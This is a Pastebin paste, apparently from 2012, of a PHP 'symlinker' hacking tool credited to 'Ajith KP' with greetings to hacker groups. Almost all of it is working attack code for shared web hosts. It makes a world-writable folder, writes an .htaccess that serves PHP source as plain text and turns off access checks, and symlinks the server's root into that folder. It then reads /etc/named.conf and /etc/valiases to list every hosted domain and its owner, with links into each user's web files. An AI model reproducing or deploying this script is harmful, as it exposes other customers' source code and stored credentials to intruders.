ajithkp560

SYMLINKER

Nov 26th, 2012
1,122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.98 KB | None | 0 0
  1. <?php
  2.  /*
  3.  * Coded by AJITH KP aka 0x4j17# aka c0bra
  4.  *  Its free from backdooring function
  5.  *  I provide it as OpenSource
  6.  *  Jai Hind...
  7.  *  Greets to TOF members and all other Indian Hackers...
  8.  */
  9. echo "<style>
  10. html { background:url(http://www.ajithkp560.hostei.com/images/background.gif) black; }
  11. td { height: 30px; background-color: black; color:green; border-color:1px groove green; -webkit-border-radius: 5px; border-radius: 5px; }
  12. body, a, p { font-family:tahoma; backgound-color:black; border: 1ps solid green; color: green; font-size:15; }
  13. .title { background-color: black; color: green; width:960px; height:auto; border:1px groove green; -moz-border-radius: 20px; border-radius: 20px; }
  14. .greets { background-color: black; color: green; width: 960px; height: auto; font-family: helvetica; border:1px solid green; -moz-border-radius: 20px; border-radius: 20px; }
  15. .container { background-color: black; color: green; border:1px solid green; -moz-border-radius: 20px; border-radius: 20px; width:960px; font-size=15px; }
  16. a { color: red; text-decoration:none; font-size=15px; }
  17. a:hover { color:green; text-decoration: blink; }
  18. </style>";
  19. echo "<title>r00t@TOF:~#</title><body><center>
  20. <div class=title><p><h><font size=6>_SYM_LINKER_</font></h><br />".php_uname()."<br />
  21. [<a href=http://www.terminalcoders.blogspot.in>home</a>] [<a href=http://www.openfire-security.net>Forum</a>]</p></div>
  22. <br /><div class=greets><p>Greets To<br />TOF members:~# Coded32, Null Void, Alex, Evis & All unknowns<br />
  23. Indishell:~# GodZilla, Ashell, Ebin & all unkowns<br />Amsteck Arts&Science College:~# BCA-Dheeraj, Ashwin, Arjun, Vipin & Anuprasad<br />
  24. BSc-Jhelai & Jitendra<br />--[[By Ajith Kp aka 0x4j17#]]--</p></div><br />";
  25. @mkdir('AKP', 0777);
  26. $hta="Options all\n
  27.      DirectoryIndex Sux.html\n
  28.      AddType text/plain .php\n
  29.      AddHandler server-parsed .php\n
  30.      AddType text/plain .html\n
  31.      AddHandler txt .html\n
  32.      Require None\n
  33.      Satisfy Any";
  34. $htaccess=@fopen('AKP/.htaccess', 'w');
  35. fwrite($htaccess, $hta);
  36. @symlink("/", "AKP/root");
  37. $akps=@file("/etc/named.conf");
  38. if(!$akps)
  39. {
  40.     die('<script>alert("r00t@AKP:~# /etc/named.conf Not Found!!!")</script>');
  41. }
  42. echo "<div class=container><br /><font size=4>[+] Total Domanis Found: </font><font color=red>".count($akps)."</font><br /><br /><table align=center border=1 width=59% cellpadding=5><tr><td>Domains</td><td>Users</td><td>Exploit</font></td></tr>";
  43. foreach($akps as $akp)
  44. {
  45.     if(eregi("zone", $akp))
  46.     {
  47.         preg_match_all('#zone "(.*)" #', $akp, $akpzz);
  48.         flush();
  49.         if(strlen(trim($akpzz[1][0]))>2)
  50.         {
  51.             $user=posix_getpwuid(@fileowner("/etc/valiases/".$akpzz[1][0]));
  52.             echo "<tr><td><a href=http://www.".$akpzz[1][0]." target=_blank>".$akpzz[1][0]."</a><td>".$user['name']."
  53.            </td><td><a href=/AKP/root/home/".$user['name']."/public_html/ target=_blank>SymLink</a></td></tr>";
  54.             flush();
  55.         }
  56.     }
  57. }
  58. echo '</table></div></body>';
  59. ?>
Advertisement
Add Comment
Please, Sign In to add comment